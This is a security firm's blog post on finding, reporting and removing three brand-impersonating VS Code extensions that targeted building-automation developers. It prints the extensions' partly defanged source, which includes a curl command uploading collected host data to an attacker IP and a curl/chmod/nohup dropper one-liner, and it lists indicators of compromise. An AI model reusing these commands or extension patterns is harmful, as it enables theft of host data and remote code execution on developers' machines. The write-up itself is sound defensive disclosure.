How we take down malicious Visual Studio Code extensions

When people think of Software Supply Chain Security, the focus is usually on vulnerable libraries packaged into applications or related services and infrastructure, like malicious open-source packages (Checkmarx even offers a free e-book on this topic). But the software supply chain includes everything used in the production or delivery of software; that means that things like CI tools and developer tools are part of your supply chain. With the ever-growing popularity of open-source or otherwise freely-available extensions for popular code editor and IDE (Integrated Development Environment) platforms, vulnerabilities and malicious content within those components is a more and more interesting target for attackers.

As part of our security community work, Checkmarx Zero is systematically identifying and reporting malicious content in extensions for the most popular extensible IDE on the market today: the free Visual Studio Code (VSCode) distributed by Microsoft. VSCode includes access to the Visual Studio Code Marketplace, a system that makes it incredibly easy for developers to find and install VSCode extensions. Rapid detection of malicious extension code by Checkmarx Zero, and fast response from Microsoft’s Visual Studio Code Marketplace security team, helps dramatically limit the potential damage that availability of malicious extensions can cause.

But what does that process look like? How can we tell that an extension is malicious, how do we report it effectively, and how does the response process work? Let’s take a look at three related malicious extensions we took down in September 2025 to help answer these questions — these should be old enough that talking about the details at this point shouldn’t give much of an advantage to attackers.

Malicious VS Code extensions impersonate legitimate “Automated Logic” to exfiltrate host data

Checkmarx Zero started doing this work systematically in September of 2025; and one of the first campaigns we identified and responsibly disclosed was a year-old (May 2024) supply-chain attack targeting the building automation community by impersonating Automated Logic Corporation (ALC). ALC is the vendor of the WebCTRL building automation platform. Three Visual Studio Code extensions published on 20. and 21. May 2024 used brand-impersonation (also known as “Brandjacking”) to appear legitimate: automatedlogic.automatedlogic, automated1ogic.automated1ogic, and webctrl.live. Based on our disclosure, the Visual Studio Marketplace has removed these extensions. However, cached copies and alternative install sources may still be available; while this is unlikely given over a year has passed, caution is always encouraged (sometimes old attacks resurface).

Each of these extensions auto-ran their payloads upon activation. The two with names similar to `automatedlogic` collected local host metadata and exfiltrating it to a hard-coded server, while the `webctrl.live` extension carried a downloader intended to fetch and auto-execute a remote payload.

Timeline of discovery and reporting

Between 20-21. May 2024,  a threat actor published three VS Code extensions that appear to be typosquatting the ALC/WebCTRL brand to exploit user trust:

automatedlogic.automatedlogic v0.0.3

Downloads/installs: ~198 downloads / 57 installs before removal.

• Published: 21 May 2024
• Detected: 25 September 2025
• Reported: 25 September 2025
• Removed: 26 September 2025

automated1ogic.automated1ogic v0.0.1 (published 21 May 2024)

Downloads/installs: ~181 downloads / 14 installs before removal.

• Published: 21 May 2024
• Detected: 23 September 2025
• Reported: 23 September 2025
• Removed: 26 September 2025

(note the numeral 1 in place of the letter l: classic typosquat))

webctrl.live v0.0.1 (published 20 May 2024)

Downloads/installs: ~183 downloads / 15 installs before removal.

• Published: 21 May 2024
• Detected: 25 September 2025
• Reported: 25 September 2025
• Removed: 26 September 2025

Note: If you operate internal mirrors or alternative registries (e.g. Open VSX), review your caches, malicious entries sometimes persist beyond Marketplace removals.

You can see that these didn’t see a lot of activity, and that Microsoft’s security team responded promptly to each report to limit the window of availability.

These malicious extensions collect and exfiltrate sensitive data

Activation & persistence: Once installed, the extension auto-activated on every VS Code launch and runs with the same OS privileges as the user that launched it. Malicious extensions can read/write files, spawn processes, and make network calls. This aligns with MITRE ATT&CK IDE Extensions.

Evasion:

• Collection & exfiltration: The malware collected the current username, OS/kernel details, and network interface configuration, wrote them to a local file, then uploaded that file to a hard-coded HTTP endpoint.

• Payload execution: The code also included a commented single-line downloader which, if enabled, would fetch a payload to a temporary directory, set executable permissions (chmod +x), and run it in the background turning the extension into a one-line dropper if a future update flips the switch.

// SAFETY: Hard stop so the snippet cannot run if copied.
throw new Error('Disabled snippet — execution blocked for safety');

// Example usage
const unsortedArray = [64, 34, 25, 12, 22, 11, 90];
const sortedArray = bubbleSort(unsortedArray);
console.log(sortedArray); // Output: [11, 12, 22, 25, 34, 64, 90]


function activate(context) {
  // SAFETY: Disable shell execution by stubbing exec.
  // const { exec } = require('child_process');
  const exec = () => console.warn('exec() disabled');

  let disposable = vscode.commands.registerCommand('persistence-pentestlab.Install', () => {
    vscode.window.showInformationMessage('Implant is executed');

    // SAFETY: IP neutered with [.] line broken for readability
    // let cmd = 'curl http://45[.]76[.]218[\.]40:61031/webctrl -o /tmp/.webctrl &&\
 chmod +x /tmp/.webctrl && nohup /tmp/.webctrl &';
    let cmd = 'whoami > /tmp/.log && uname -a >> /tmp/.log &&\
 ifconfig >> /tmp/.log && \
curl -F "boundary=@/tmp/.log" http://45[.]76[.]218[.]40:10442/uploads -v';

    // SAFETY: harmless no-op
    const cmd = 'echo "SAFE — no network calls"';
    exec(cmd, () => {});
  });

  context.subscriptions.push(disposable);

  // SAFETY: Remove auto-run on activation.
  // vscode.commands.executeCommand('persistence-pentestlab.Install');
}
exports.activate = activate;

Malicous extension code, with slight modifications to render it safe if run

Both automatedlogic.automatedlogic v0.0.3 and automated1ogic.automated1ogic v0.0.1 contained only the Collection & exfiltration shown above, with no legitimate functionality.

// SAFETY: Hard stop so the snippet cannot run if copied.
throw new Error('Disabled snippet — execution blocked for safety');

// Example usage 
const unsortedArray = [64, 34, 25, 12, 22, 11, 90];
const sortedArray = bubbleSort(unsortedArray);
console.log(sortedArray); // Output: [11, 12, 22, 25, 34, 64, 90]

function activate(context) {
  // SAFETY: Disable shell execution by stubbing exec.
  // const { exec } = require('child_process');
  const exec = () => console.warn('exec() disabled');

  let disposable = vscode.commands.registerCommand('persistence-pentestlab.Install', () => {
    vscode.window.showInformationMessage('Implant is executed');

    // SAFETY: IP neutered with [.] ; line broken for readability
    let cmd = 'curl http://45[.]76[.]218[.]40:61031/webctrl -o /tmp/.webctrl && sleep 10 &&\
 chmod +x /tmp/.webctrl && sleep 2 && nohup /tmp/.webctrl &';
    
    // SAFETY: harmless no-op
    const cmd = 'echo "SAFE — no network calls"';
    exec(cmd, () => {});
  });

  context.subscriptions.push(disposable);

  // SAFETY: Remove auto-run on activation.
  // vscode.commands.executeCommand('persistence-pentestlab.Install');
}
exports.activate = activate;

More malicious extension payload code, again modified to make it safe if run

webctrl.live v0.0.1 consists solely of the Payload execution routine shown above. Earlier versions of automatedlogic.automatedlogic also exhibited this same behavior, since the execution line was still enabled rather than commented out.

At the time of our analysis, the remote file these downloaders attempted to fetch from a well-known virtual hosting provider was not available, so we could not verify the intended payload. We don’t know if this is due to an error by the actor, a delay tactic to avoid detection, or the result of a security detection.

Additionally, in extension.js across the malicious samples, the data-theft logic was hidden in plain sight among unused sorting functions at the top of the file, possibly in an attempt to look like normal boilerplate to developers and assessors, while burying the real behavior further down. This is an obfuscation pattern we’ve also seen in other malicious VS Code extensions.

Across samples we observed command identifiers following the pattern persistence-penteslab.Install. Shortly before these extensions were published (20. and 21. May 2024), Penetration Testing Lab released a post titled “Persistence – Visual Studio Code Extensions” (4. Mar 2024), which uses an identical command name. This overlap may indicate inspiration (a copycat) though this remains unconfirmed.

IOCs:

• http://45[.]76[.]218[.]40:61031
• http://45[.]76[.]218[.]40:10442

Extensions:

• automatedlogic[.]automatedlogic
• automated1ogic[.]automated1ogic
• webctrl[.]live

Reporting to Microsoft

Microsoft provides an interface directly within VSCode to report risky extensions, and they also have an email address for the purpose. Reporting issues is fast and easy; to help Microsoft take action, we included much of the key data we describe above:

• Exact name and identifier of the malicious package
• An explanation of our automated review process and our manual verification, so Microsoft’s security team knows it’s a legitimate report
• A description of the malicious behaviors and indicators of compromise
• Our assessment of whether the whole package and/or whole publisher account seems malicious or whether this appears to be a compromise of a legitimate package affecting only some versions

In most cases, a thorough report means that the Marketplace security team can quickly take action to remove the extensions, and in some cases ban the publisher account from submitting new extensions in the future. In some cases, their security team has additional questions or concerns: after all, they want to make sure they aren’t unfairly removing legitimate extensions. But even in those cases, responses come quickly and removal occurs in a matter of days.

Checkmarx Zero has a policy of never submitting automatically-generated or AI-generated reports; we always have a qualified researcher verify anything our tools flag, have their work cross-checked by another researcher, and explain the problem thoroughly. This policy results in less work for organizations like Microsoft’s security teams, and in turn that means removing discovered issues much more promptly.

Why does this matter to an AppSec team?

AppSec teams have historically focused on content within applications they’re responsible for, but patterns like this show us how important it is for AppSec to partner with colleagues across the security functions to protect developers and applications even before code is written. The kinds of attacks we see in the “open-source libraries” part of the supply chain are equally concerning in the “code IDE extensions” part of the supply chain.

This was essentially a Typosquatting and Brandjacking campaign. The extensions copy the ALC/WebCTRL naming to look legitimate, increasing credibility with facilities/OT-adjacent developers who recognize the brand and intend to install them, even though ALC had no involvement. The ultimate objective cannot be stated with certainty because the evidence is limited and the referenced dropper is no longer accessible for analysis. Nonetheless, the combination of brand impersonation and a staged payload strongly suggests an attempt to get code execution while posing as a trusted building-automation vendor. Marketplace hygiene and publisher verification remain a challenge across IDE ecosystems. And VS Code is no exception, as recent findings from Checkmarx Zero have shown. And others are noticing too: consider the recent report of “GlassWorm” from our counterparts at Koi.

This makes it clear that there’s a need for organizations to be aware of, and defend themselves against, malicious and vulnerable components everywhere in the supply chain. And AppSec can and should be concerned with protecting developers and the systems they use, since a compromise of workstations and CI systems can lead to application and product risk as well as general organization risk through exfiltration of secrets and other adversarial actions that give attackers a foothold into your organization.